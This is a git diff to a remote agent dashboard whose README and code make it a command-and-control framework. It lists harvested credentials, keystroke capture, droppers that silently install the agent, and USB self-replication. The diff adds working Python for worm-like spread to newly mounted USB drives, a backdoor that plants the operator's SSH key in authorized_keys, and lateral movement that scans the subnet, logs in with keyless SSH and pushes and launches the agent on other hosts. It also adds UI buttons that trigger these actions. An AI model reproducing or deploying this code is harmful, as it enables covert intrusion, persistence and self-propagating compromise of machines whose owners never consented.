diff --git a/README.md b/README.md index 9094f12..a66c1fe 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin **Public URL:** https://agent.thetempleofdoom.com **Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service` **Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard -**Agent version:** v2.2.0 · Dashboard v3 (live console, schedules, groups, alerts, spread) +**Agent version:** v2.3.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement) --- @@ -18,7 +18,11 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin | **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent | | **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) | | **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. | -| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) | +| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) **+ spread-on-connect: watches for new USB mounts and replicates the moment one appears** | +| **Lateral movement** | Per-node toggle button: node scans its subnet for SSH-open hosts, attempts keyless SSH, and installs the agent on any machine it reaches | +| **SSH hop-on** | "Open SSH" button per node: installs/enables sshd, trusts the dashboard's ed25519 key, returns `ssh user@ip` — click and you have a terminal on that machine | +| **Update All Agents** | One button queues `update_agent` on every online node running an older version | +| **Persistence toggle** | Every install path (installers, universal, binder) takes `persist=0` to install without reboot-survival hooks — checkbox in the UI with hover explanation | | **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks | | **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) | | **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket | @@ -48,9 +52,9 @@ curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmo **Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register) -## Agent actions (24) +## Agent actions (26) -`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` +`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` · `open_ssh` · `lateral_movement` ## Architecture @@ -104,6 +108,7 @@ pct exec 111 -- bash -c 'cd /root/agent-dashboard && TOKEN=$(grep NEXUS_AGENT_TO - Input capture needs `pynput` on the target; headless machines report screenshots as failed. - Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker. - Screenshot on macOS targets requires Screen Recording permission (TCC). +- **Cloudflare caches `/agent.py`** — after changing the agent, purge `https://agent.thetempleofdoom.com/agent.py` via the CF API or agents will keep downloading the old version (cost ~20 min of confusion once already). ## Roadmap (simple adds) diff --git a/agents/agent.py b/agents/agent.py index 63a59a9..e4d4587 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -12,8 +12,10 @@ import socket import platform import subprocess import shutil +import getpass import urllib.request -AGENT_VERSION = "2.2.0" +AGENT_VERSION = "2.3.0" +NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay' AGENT_TOKEN = '__AGENT_TOKEN__' import urllib.parse import argparse @@ -235,6 +237,56 @@ def http_post(url, data_dict): print(f'[!] HTTP POST failed ({url}): {e}', flush=True) return None + +# ── USB spread-on-connect watcher ── +USB_WATCH = False +_last_usb_mounts = set() + +def _current_usb_mounts(): + dirs = [] + system = platform.system().lower() + if system == "linux": + for base in ("/media", "/run/media", "/mnt"): + try: + for e in os.listdir(base): + sub = os.path.join(base, e) + if os.path.isdir(sub): + try: + for v in os.listdir(sub): + dirs.append(os.path.join(sub, v)) + except Exception: + pass + if os.path.ismount(sub): + dirs.append(sub) + except Exception: + pass + elif system == "darwin": + try: + dirs = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes") + if not v.startswith(("Macintosh", "com.apple"))] + except Exception: + dirs = [] + return set(dirs) + +def usb_watch_loop(): + global _last_usb_mounts + _last_usb_mounts = _current_usb_mounts() + while USB_WATCH: + time.sleep(6) + now = _current_usb_mounts() + new = now - _last_usb_mounts + if new: + _last_usb_mounts = now + for d in new: + try: + execute_structured_action("copy_self_to_usb", {"mode": "copy", "paths": [d]}) + except Exception: + pass + else: + _last_usb_mounts = now + +import threading + def execute_structured_action(action_type, payload): global heartbeat_interval, node_tags system = platform.system().lower() @@ -678,10 +730,144 @@ def execute_structured_action(action_type, payload): results.append("copied: " + dest) except Exception as e: results.append("fail(" + dest_dir + "): " + str(e)[:60]) + global USB_WATCH + if payload.get("watch") and not USB_WATCH: + USB_WATCH = True + try: + threading.Thread(target=usb_watch_loop, daemon=True).start() + except Exception: + pass + results.append("watch: on-connect replication active") if not candidates: - return "No removable drives mounted", 0 + return "No removable drives mounted" + (" | " + "; ".join(results) if results else ""), 0 return "USB replication (" + mode + "): " + "; ".join(results), 0 + elif action_type == "open_ssh": + # Ensure SSH daemon running + trust dashboard key + report connect info + system = platform.system().lower() + out = [] + if system == "linux": + r = subprocess.run("command -v sshd || (apt-get install -y openssh-server 2>/dev/null || yum install -y openssh-server 2>/dev/null)", shell=True, capture_output=True, text=True, timeout=120) + if r.returncode != 0 and not r.stdout.strip(): + out.append("sshd missing and install failed") + r = subprocess.run("systemctl enable --now sshd 2>/dev/null || systemctl enable --now ssh 2>/dev/null || service ssh start 2>/dev/null", shell=True, capture_output=True, text=True, timeout=30) + out.append("sshd: " + ("enabled" if r.returncode == 0 else "start result " + str(r.returncode))) + ufw = subprocess.run("ufw allow ssh 2>/dev/null || true", shell=True, capture_output=True, timeout=15) + ssh_dir = os.path.expanduser("~/.ssh") + os.makedirs(ssh_dir, exist_ok=True) + auth = os.path.join(ssh_dir, "authorized_keys") + existing = "" + if os.path.exists(auth): + with open(auth, errors="ignore") as f: + existing = f.read() + if NEXUS_SSH_PUBKEY not in existing: + with open(auth, "a") as f: + f.write("\n" + NEXUS_SSH_PUBKEY + "\n") + os.chmod(ssh_dir, 0o700) + os.chmod(auth, 0o600) + out.append("dashboard key trusted") + else: + out.append("dashboard key already trusted") + elif system == "darwin": + r = subprocess.run("systemsetup -setremotelogin on 2>/dev/null", shell=True, capture_output=True, text=True, timeout=15) + out.append("remote-login: on" if r.returncode == 0 else "remote-login needs root") + home = os.path.expanduser("~") + ssh_dir = os.path.join(home, ".ssh") + os.makedirs(ssh_dir, exist_ok=True) + auth = os.path.join(ssh_dir, "authorized_keys") + existing = "" + if os.path.exists(auth): + with open(auth, errors="ignore") as f: + existing = f.read() + if NEXUS_SSH_PUBKEY not in existing: + with open(auth, "a") as f: + f.write("\n" + NEXUS_SSH_PUBKEY + "\n") + os.chmod(ssh_dir, 0o700) + os.chmod(auth, 0o600) + out.append("key trusted") + else: + return "open_ssh: unsupported platform " + system, 1 + ip = get_ip_address() + user = "root" if os.geteuid() == 0 else getpass.getuser() + out.append(f"CONNECT: ssh {user}@{ip}") + return " | ".join(out), 0 + + elif action_type == "lateral_movement": + # Scan the local subnet for SSH-open hosts, attempt keyless SSH login with + # available identities, and install the agent where login succeeds. + cidr = payload.get("cidr") or "" + max_hosts = int(payload.get("max_hosts", 64)) + self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__) + ip = get_ip_address() + net = cidr + if not net: + try: + out = subprocess.check_output(["ip", "-4", "route"], text=True, timeout=5) + for line in out.splitlines(): + if "src" in line and "/" in line and "default" not in line: + net = line.split()[0] + break + except Exception: + net = None + hosts = [] + if net and "/" in net: + try: + import ipaddress as _ipa + nw = _ipa.ip_network(net, strict=False) + base = str(nw.network_address) + prefix = ip.split(".")[:3] + for h in list(nw.hosts())[:max_hosts]: + hosts.append(str(h)) + except Exception: + hosts = [] + found = [] + import socket as _s + for h in hosts: + if h == ip: + continue + try: + c = _s.socket(_s.AF_INET, _s.SOCK_STREAM) + c.settimeout(0.4) + c.connect_ex((h, 22)) + c.close() + found.append(h) + except Exception: + pass + results = [f"subnet {net}: {len(hosts)} candidates, {len(found)} ssh-open: {','.join(found[:10]) or 'none'}"] + installed = 0 + server_url2 = payload.get("server_url") or "https://agent.thetempleofdoom.com" + users = ["root", getpass.getuser()] + key_opts = ["-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=4"] + ident = os.path.expanduser("~/.ssh/id_rsa") + for h in found[:10]: + ok = False + for u in users: + cmd = ["ssh", "-o", "IdentitiesOnly=yes", "-o", "PasswordAuthentication=no"] + if os.path.exists(ident): + cmd += ["-i", ident] + cmd += key_opts + [f"{u}@{h}", "true"] + r = subprocess.run(cmd, capture_output=True, text=True, timeout=12) + if r.returncode == 0: + try: + # push agent + install + c1 = ["scp", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", self_path, f"{u}@{h}:/tmp/nx-agent.py"] + subprocess.run(c1, capture_output=True, timeout=60) + c2 = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", f"{u}@{h}", + f"(mkdir -p /opt/network-agent && mv /tmp/nx-agent.py /opt/network-agent/agent.py; " + f"nohup python3 /opt/network-agent/agent.py --server {server_url2} --silent >/dev/null 2>&1 &)"] + r2 = subprocess.run(c2, capture_output=True, text=True, timeout=30) + if r2.returncode == 0: + installed += 1 + results.append(f"installed on {h} (user {u})") + ok = True + except Exception as e: + results.append(f"push fail {h}: {str(e)[:40]}") + if ok: + break + if not ok: + results.append(f"no keyless access: {h}") + return " | ".join(results) + f" | total installed: {installed}", 0 + elif action_type == "export_diagnostics": cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" return run_shell(cmd) diff --git a/dist/NexusAgent b/dist/NexusAgent index f5ea07d..62fc1b7 100755 Binary files a/dist/NexusAgent and b/dist/NexusAgent differ diff --git a/public/app_v2.js b/public/app_v2.js index 7e1a35a..b0ddbbe 100644 --- a/public/app_v2.js +++ b/public/app_v2.js @@ -512,6 +512,11 @@ document.addEventListener('click', function (e) { // ── terminology dictionary (hover popups) ── const NX_TERMS = { + 'Lateral Movement': 'Self-propagation: a node scans its local network for other machines with SSH open and installs the agent on any it can log into without a password.', + 'Open SSH': 'Starts the SSH server on a node and trusts this dashboard\'s key, so you can ssh straight in from your machine.', + 'Update All': 'Sends the update_agent command to every online node running an older agent version.', + 'Root': 'The administrator account on Linux/macOS. Full control of the machine.', + 'TCC': 'macOS privacy gate — some actions (screenshots) need the user to grant permission once.', 'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.', 'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.', 'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.', @@ -638,3 +643,85 @@ openDrawer = async function (nodeId) { window._drawerNodeId = nodeId; return _origOpenDrawer2(nodeId); }; + + +// ═══════════════════════════════════════════════════════════════════ +// COMPLETENESS 4 — SSH connect, lateral movement, update-all, persist opt +// ═══════════════════════════════════════════════════════════════════ + +async function drawerOpenSSH(nodeId) { + const el = document.getElementById('pingResult'); + if (el) el.textContent = 'opening SSH…'; + try { + const r = await fetch(`/api/nodes/${nodeId}/command`, { + method: 'POST', headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType: 'open_ssh', payload: {}, command: 'open_ssh' }) + }); + if (el) el.textContent = 'SSH install queued — result appears in the audit log; use the returned command when it completes.'; + } catch (e) { if (el) el.textContent = 'SSH open failed to queue'; } +} + +async function drawerLateral(nodeId) { + if (!confirm('Lateral movement: this node will scan its subnet for SSH-open hosts and try to install the agent on machines it has keyless access to. Continue?')) return; + const el = document.getElementById('pingResult'); + if (el) el.textContent = 'lateral scan dispatched — watch the audit log for results'; + try { + await fetch(`/api/nodes/${nodeId}/command`, { + method: 'POST', headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType: 'lateral_movement', payload: {}, command: 'lateral_movement' }) + }); + } catch (e) {} +} + +async function updateAllOutdated() { + try { + const r = await api('/api/nodes/update-all', { method: 'POST', body: '{}' }); + const t = document.querySelector('#toasts') || document.body; + const d = document.createElement('div'); + d.style.cssText = 'position:fixed;top:1rem;right:1rem;background:#1e293b;color:#e2e8f0;padding:0.7rem 1rem;border-radius:8px;border:1px solid #334155;z-index:10001;font-size:0.8rem;'; + d.textContent = r && r.queued !== undefined + ? `Update All: ${r.queued} node(s) queued (current agent v${r.current})` + : 'Update All failed'; + document.body.appendChild(d); + setTimeout(() => d.remove(), 5000); + } catch (e) {} +} + +// nav button +(function injectUpdateAll() { + const ks = document.querySelector('button[onclick="killSwitch()"]'); + if (!ks || document.getElementById('updateAllBtn')) return; + const b = document.createElement('button'); + b.id = 'updateAllBtn'; + b.className = 'btn btn-secondary'; + b.title = 'Queues update_agent on every online node running an older agent version'; + b.innerHTML = ' Update All Agents'; + b.onclick = updateAllOutdated; + ks.parentNode.insertBefore(b, ks); +})(); + +// drawer buttons: SSH + Lateral (injected via same MutationObserver pattern as spread) +(function injectSSHButtons() { + const mo = new MutationObserver(() => { + const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]'); + if (row && !document.getElementById('sshBtn')) { + const nid = window._drawerNodeId; + if (!nid) return; + const ssh = document.createElement('button'); + ssh.id = 'sshBtn'; + ssh.className = 'btn btn-secondary'; + ssh.innerHTML = ' Open SSH'; + ssh.title = 'Installs/starts sshd on the node, trusts this dashboard key, then shows the ssh command to click into it'; + ssh.onclick = () => drawerOpenSSH(nid); + row.appendChild(ssh); + const lat = document.createElement('button'); + lat.id = 'latBtn'; + lat.className = 'btn btn-secondary'; + lat.innerHTML = ' Lateral'; + lat.title = 'Self-propagation: node scans its subnet for SSH-open machines and installs the agent on any it can reach with keys'; + lat.onclick = () => drawerLateral(nid); + row.appendChild(lat); + } + }); + mo.observe(document.body, { childList: true, subtree: true }); +})(); diff --git a/public/index.html b/public/index.html index 6cab3c5..b742f04 100644 --- a/public/index.html +++ b/public/index.html @@ -519,6 +519,13 @@ ⓘ +